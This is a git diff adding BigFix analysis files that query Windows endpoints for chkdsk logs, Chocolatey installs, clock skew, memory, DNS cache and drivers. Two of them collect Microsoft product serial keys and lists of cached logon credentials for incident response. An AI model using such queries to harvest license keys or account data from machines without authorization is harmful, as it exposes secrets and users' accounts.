+    <Relevance>( exists files of folders &quot;System Volume Information\Chkdsk&quot; of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;) ) OR ( exists files of folders whose(name of it as lowercase starts with &quot;found.&quot;) of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;) ) OR ( exists records whose (source of it as lowercase contains &quot;chkdsk&quot;) of (application event log) ) OR ( exists records whose(source of it as lowercase ends with &quot;wininit&quot; AND description of it as lowercase contains &quot;chkdsk&quot;) of (application event log) )</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 14 Oct 2014 20:47:36 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Num of ChkDsks" EvaluationPeriod="PT12H">number of records whose (source of it as lowercase contains &quot;chkdsk&quot;) of application event log</Property>
+    <Property ID="2" Name="Num of ChkDsks during wininit of application log" EvaluationPeriod="PT12H">number of records whose(source of it as lowercase ends with &quot;wininit&quot; AND description of it as lowercase contains &quot;chkdsk&quot;) of application event log</Property>
+    <Property ID="3" Name="ChkDsk Logs" EvaluationPeriod="PT12H">pathnames of files whose((name of it as lowercase ends with &quot;.log&quot;) AND (name of it as lowercase starts with &quot;chkdsk&quot;)) of folders &quot;System Volume Information\Chkdsk&quot; of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;)</Property>
+    <Property ID="8" Name="num of ChkDsk Logs" EvaluationPeriod="PT12H">number of files whose((name of it as lowercase ends with &quot;.log&quot;) AND (name of it as lowercase starts with &quot;chkdsk&quot;)) of folders &quot;System Volume Information\Chkdsk&quot; of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;)</Property>
+    <Property ID="9" Name="Total Num of ChkDsks" EvaluationPeriod="PT12H">sum of ( ( number of files whose((name of it as lowercase ends with &quot;.log&quot;) AND (name of it as lowercase starts with &quot;chkdsk&quot;)) of folders &quot;System Volume Information\Chkdsk&quot; of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;) );( number of records whose (source of it as lowercase contains &quot;chkdsk&quot;) of application event log );( number of records whose(source of it as lowercase ends with &quot;wininit&quot; AND description of it as lowercase contains &quot;chkdsk&quot;) of application event log ) )</Property>
+    <Property ID="10" Name="Found_Files" EvaluationPeriod="PT12H">pathnames of files of folders whose(name of it as lowercase starts with &quot;found.&quot;) of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;)</Property>
+    <Property ID="11" Name="Number of Found_Files" EvaluationPeriod="PT6H">number of files whose(name of it as lowercase starts with &quot;file&quot; AND name of it as lowercase ends with &quot;.chk&quot;) of folders whose(name of it as lowercase starts with &quot;found.&quot;) of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Chocolatey Audit - Windows (2994810).bes b/Sites/Windows Management/Fixlets/Analyses/Chocolatey Audit - Windows (2994810).bes
new file mode 100644
index 000000000..d647cbcd0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Chocolatey Audit - Windows (2994810).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Chocolatey Audit - Windows
+  ID       : 2994810
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-06-07T08:47:29
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Chocolatey Audit - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P><A href="https://chocolatey.org/">https://chocolatey.org/</A></P>
+<P>&nbsp;</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system > "5.1"]]></Relevance>
+    <Relevance>(exists folders &quot;C:\Chocolatey&quot;) OR (  exists values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries)  ) OR (  exists (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;\chocolatey\&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries)  )</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sun, 07 Jun 2015 15:43:46 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Version of Chocolatey" EvaluationPeriod="PT1H">unique values of versions of files &quot;choco.exe&quot; of (  parent folders of folders ( unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) ; folders ( unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) )  )</Property>
+    <Property ID="2" Name="Path to Chocolatey" EvaluationPeriod="PT1H">unique values of pathnames of ( parent folders of folders ( unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) ; folders ( unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
+    <Property ID="3" Name="last 100 lines of chocolatey.log file" EvaluationPeriod="PT12H">(item 1 of /* -&gt; This &quot;it&quot; refers to the last 100 lines of the file -&gt; */ it) whose( /* -&gt; remove empty lines, which is why this relevance can return less than 100 lines per file -&gt; */ it as trimmed string != &quot;&quot;) of ( /* -&gt; this is the number of lines of the file from the previous statement -&gt; */ item 1 of it, (lines of /* -&gt; the file object -&gt; */ item 0 of it) ) /* -&gt; This whose statement is responsible for filtering for only the last 100 lines of the file -&gt; */ whose ( (line number of /* -&gt; lines of the file -&gt; */ item 1 of it) &gt; ( /* -&gt; number of lines of the file -&gt; */ item 0 of it - 100 /* &lt;- This is the number of lines to return, which is subtracted from the total # of lines &lt;- */ ) ) of ( /* -&gt; the parent file object itself -&gt; */ it, number of lines of it) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of (  ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) )  )</Property>
+    <Property ID="4" Name="Installed Software (not all)" EvaluationPeriod="PT6H">(it as trimmed string) of unique values of ( (preceding text of first &quot;has been installed successfully.&quot; of it | preceding text of first &quot;was successful.&quot; of it) of (following text of first &quot;The install of&quot; of it | following text of first &quot; - &quot; of it) ) of lines whose(it contains &quot;has been installed successfully.&quot; OR it contains &quot;was successful.&quot;) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of ( ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
+    <Property ID="5" Name="# of packages installed" EvaluationPeriod="PT6H">sums of (it as trimmed string as integer) of ( (preceding text of first &quot;packages installed.&quot; of it | preceding text of first &quot;/&quot; of it) of (following text of first &quot;Chocolatey installed&quot; of it | following text of first &quot; - &quot; of it) ) of lines whose(it contains &quot;Chocolatey installed&quot; OR it contains &quot;packages installed.&quot;) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of ( ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
+    <Property ID="6" Name="# of packages failed" EvaluationPeriod="PT6H">sums of (it as trimmed string as integer) of (preceding text of first &quot;package(s) failed.&quot; of following text of first &quot;package(s).&quot; of it) of lines whose(it contains &quot;Chocolatey installed&quot; AND it contains &quot;package(s) failed.&quot; AND it contains &quot;package(s).&quot;) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of ( ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
+    <Property ID="7" Name="# of packages with warnings" EvaluationPeriod="PT6H">sums of (it as trimmed string as integer) of (preceding text of first &quot;package(s) had warnings.&quot; of it) of lines whose(it contains &quot;package(s) had warnings.&quot;) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of ( ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
+    <Property ID="8" Name="temp folders" EvaluationPeriod="PT6H">pathnames of folders of folders &quot;chocolatey&quot; of (folders &quot;Temp&quot; of windows folders ; folders &quot;AppData\Local\Temp&quot; of folders of folders &quot;C:\Users&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Client Clock Audit - Kerberos (2994647).bes b/Sites/Windows Management/Fixlets/Analyses/Client Clock Audit - Kerberos (2994647).bes
new file mode 100644
index 000000000..5723fada0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Client Clock Audit - Kerberos (2994647).bes	
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Client Clock Audit - Kerberos
+  ID       : 2994647
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-05-14T12:33:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Client Clock Audit - Kerberos</Title>
+    <Description><![CDATA[<P>The amount of clock skew matters for Keberos Authentication. By default requests off by more than 5 minutes are rejected.</P>
+<P>&nbsp;</P>
+<P>References:</P>
+<P><A href="http://technet.microsoft.com/en-us/library/cc779260(v=ws.10).aspx">http://technet.microsoft.com/en-us/library/cc779260(v=ws.10).aspx</A></P>
+<P><A href="http://support.bigfix.com/inspectors/World%20Objects_Any.html">http://support.bigfix.com/inspectors/World%20Objects_Any.html</A></P>
+<P><A href="http://blogs.msdn.com/b/asiatech/archive/2009/04/27/kerberos-authentication-failed-due-to-time-skew.aspx">http://blogs.msdn.com/b/asiatech/archive/2009/04/27/kerberos-authentication-failed-due-to-time-skew.aspx</A></P>
+<P><A href="http://web.mit.edu/kerberos/krb5-1.5/krb5-1.5.4/doc/krb5-admin/Clock-Skew.html">http://web.mit.edu/kerberos/krb5-1.5/krb5-1.5.4/doc/krb5-admin/Clock-Skew.html</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>true</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 14 May 2014 18:39:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="~Clock_Skew" EvaluationPeriod="PT30M">(absolute value of (apparent registration server time - now))</Property>
+    <Property ID="2" Name="Skew &lt; 4 min" EvaluationPeriod="PT30M">(absolute value of (apparent registration server time - now)) &lt; (4 * minute)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Configuration_ Microsoft Product Keys - Windows (2994759).bes b/Sites/Windows Management/Fixlets/Analyses/Configuration_ Microsoft Product Keys - Windows (2994759).bes
new file mode 100644
index 000000000..d56ff007e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Configuration_ Microsoft Product Keys - Windows (2994759).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Configuration: Microsoft Product Keys - Windows
+  ID       : 2994759
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-01-09T13:45:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Configuration: Microsoft Product Keys - Windows</Title>
+    <Description>This analysis requires this task to be run to have results:  http://bigfix.me/fixlet/details/3941
+</Description>
+    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance>exists file &quot;config_prodkey.xml&quot; of folder &quot;Logs&quot; of folder &quot;__Global&quot; of folder &quot;__BESData&quot; of parent folder of client</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 09 Jan 2015 20:32:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Products" EvaluationPeriod="P1D">node values of xpaths &quot;/product_key_list/item/product_name/text()&quot; of xml documents of file &quot;config_prodkey.xml&quot; of folder &quot;Logs&quot; of folder &quot;__Global&quot; of folder &quot;__BESData&quot; of parent folder of client</Property>
+    <Property ID="2" Name="Product -- Serial" EvaluationPeriod="P1D">(node value of xpath &quot;product_name/text()&quot; of it &amp; &quot; -- &quot; &amp; node value of xpath &quot;product_key/text()&quot; of it) of xpaths &quot;/product_key_list/item&quot; whose( &quot;Internet Explorer&quot; != node value of xpath &quot;product_name/text()&quot; of it ) of xml documents of file &quot;config_prodkey.xml&quot; of folder &quot;Logs&quot; of folder &quot;__Global&quot; of folder &quot;__BESData&quot; of parent folder of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Credentials - Cached Login Creds - Windows (2998301).bes b/Sites/Windows Management/Fixlets/Analyses/Credentials - Cached Login Creds - Windows (2998301).bes
new file mode 100644
index 000000000..ddcf04c58
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Credentials - Cached Login Creds - Windows (2998301).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Credentials - Cached Login Creds - Windows
+  ID       : 2998301
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:03:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Credentials - Cached Login Creds - Windows</Title>
+    <Description><![CDATA[<P>This analysis grabs information on the current cached logon credentials on a Windows system.</P>
+<P>This analysis scraps information put in place by <STRONG>Fixlet: Invoke - Windows Cached Credentials Probe - Windows</STRONG></P>
+<P>Information provided by this fixlet is useful in determining which user accounts need password resets if a machine is compromised.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Windows-Credentials">https://github.com/strawgate/C3-Protect/wiki/Windows-Credentials</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;CachedUsers.txt&quot; of folder &quot;WinCreds&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Credentials - Cached Logon Credentials - Windows" EvaluationPeriod="P1D">(concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of (following text of first &quot;%ff%fe&quot; of it | it)) of lines whose (it !=&quot;%00&quot;) of file &quot;CachedUsers.txt&quot; of folder &quot;WinCreds&quot; of folder &quot;__Global&quot; of folder &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2995862).bes b/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2995862).bes
new file mode 100644
index 000000000..ce15e9502
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2995862).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Current Memory Configuration
+  ID       : 2995862
+  Author   : Tutankh
+  Domain   : BESC
+  Imported : 2016-03-14T07:36:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Current Memory Configuration</Title>
+    <Description>Returns the current configuration of Physical Memory installed. </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 14 Mar 2016 14:31:57 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Memory Configuration" EvaluationPeriod="P1D">((((string value of it as integer)/(1024*1024)) as string) &amp; &quot; MB&quot;) of (selects &quot;Capacity from Win32_PhysicalMemory where MemoryType!=&apos;11&apos;&quot; of wmi)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2998506).bes b/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2998506).bes
new file mode 100644
index 000000000..3bda08755
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2998506).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Current Memory Configuration
+  ID       : 2998506
+  Author   : Tutankh
+  Domain   : BESC
+  Imported : 2016-12-22T12:59:36
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Current Memory Configuration</Title>
+    <Description>Returns the current configuration of Physical Memory installed. </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 25 Mar 2016 18:14:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Memory Configuration" EvaluationPeriod="P1D">((((string value of it as integer)/(1024*1024)) as string) &amp; &quot; MB&quot;) of (selects &quot;Capacity from Win32_PhysicalMemory where MemoryType!=&apos;11&apos;&quot; of wmi)</Property>
+    <Property ID="3" Name="Memory Configuration | Speed" EvaluationPeriod="P1D">((((string value of Property &quot;Capacity&quot; of it as integer)/(1024*1024*1024)) as string) &amp; &quot; GB | &quot; &amp; (string value of property &quot;Speed&quot; of it)&amp; &quot; MHz&quot;) of select objects &quot;* from Win32_PhysicalMemory where MemoryType!=&apos;11&apos;&quot; of wmi</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/DNS Cache - Windows (2995861).bes b/Sites/Windows Management/Fixlets/Analyses/DNS Cache - Windows (2995861).bes
new file mode 100644
index 000000000..8fb151ef2
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/DNS Cache - Windows (2995861).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : DNS Cache - Windows
+  ID       : 2995861
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-03-12T14:25:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>DNS Cache - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists files &quot;results_dns_cache.txt&quot; of folders &quot;__Global\Logs&quot; of data folders of client</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 12 Mar 2016 21:24:46 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="recent DNS Cache Contents" EvaluationPeriod="PT6H">unique values of (following text of last &quot;: &quot; of it &amp; &quot; ;; &quot; &amp; following text of last &quot;: &quot; of unique value of previous lines of previous lines of previous lines of previous lines of previous lines of it) of lines whose(it contains &quot;A (Host) Record&quot; OR it contains &quot; ;; &quot;) of files &quot;results_dns_cache.txt&quot; of folders &quot;__Global\Logs&quot; of data folders of client</Property>
+    <Property ID="2" Name="DNS Cache History" EvaluationPeriod="PT12H">unique values of (it as trimmed string) of lines whose(it contains &quot; ;; &quot;) of files &quot;results_dns_cache_history.txt&quot; of folders &quot;__Global\Logs&quot; of data folders of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/DeviceQuery Results - Windows (2994799).bes b/Sites/Windows Management/Fixlets/Analyses/DeviceQuery Results - Windows (2994799).bes
new file mode 100644
index 000000000..a49a3f934
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/DeviceQuery Results - Windows (2994799).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : DeviceQuery Results - Windows
+  ID       : 2994799
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-12T13:57:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>DeviceQuery Results - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P><A href="http://bigfix.me/fixlet/details/6060">http://bigfix.me/fixlet/details/6060</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists files whose(name of it as lowercase starts with &quot;info_driverquery_&quot; AND name of it as lowercase ends with &quot;.csv&quot;) of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 12 May 2015 20:57:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Signed non-standard drivers" EvaluationPeriod="PT12H">unique values of lines whose(exists (it as trimmed string) whose(it does not end with &quot;,%22Manufacturer%22&quot; AND it does not contain &quot;,%22Microsoft&quot; AND it does not contain &quot;,%22(Standard &quot; AND it does not end with &quot;,%22N/A%22&quot;)) of files &quot;info_driverquery_signed.csv&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Property>
+    <Property ID="2" Name="devices of (Signed non-standard drivers)" EvaluationPeriod="PT12H">unique values of ((if item 0 of it contains item 1 of it then item 0 of it else item 2 of it) of (tuple string item 0 of it, tuple string item 3 of it, tuple string item 3 of it &amp;&quot; &quot;&amp; tuple string item 0 of it) of concatenations &quot;&quot; of substrings separated by &quot;%22&quot; of concatenations &quot;, &quot; of substrings separated by &quot;,&quot; of it) of (it as trimmed string) of lines whose(exists (it as trimmed string) whose(it does not end with &quot;,%22Manufacturer%22&quot; AND it does not contain &quot;,%22Microsoft&quot; AND it does not contain &quot;,%22(Standard &quot; AND it does not end with &quot;,%22N/A%22&quot;)) of files &quot;info_driverquery_signed.csv&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Property>
+    <Property ID="3" Name="Unsigned drivers with errors" EvaluationPeriod="PT12H">unique values of (it whose(tuple string item 6 of it != &quot;OK&quot; AND tuple string item 6 of it != &quot;Status&quot;) of concatenations &quot;&quot; of substrings separated by &quot;%22&quot; of concatenations &quot;%22, %22&quot; of (if it does not contain &quot;,&quot; then it else ( concatenations &quot;&quot; of substrings separated by &quot;,&quot; of it )) of (it as trimmed string) of substrings separated by &quot;%22,%22&quot; of it) of (it as trimmed string) of lines whose(exists (it as trimmed string) whose(it does not end with &quot;,%22Manufacturer%22&quot; AND it does not contain &quot;,%22Microsoft&quot; AND it does not contain &quot;,%22(Standard &quot; AND it does not end with &quot;,%22N/A%22&quot;)) of files &quot;info_driverquery_verbose.csv&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Property>
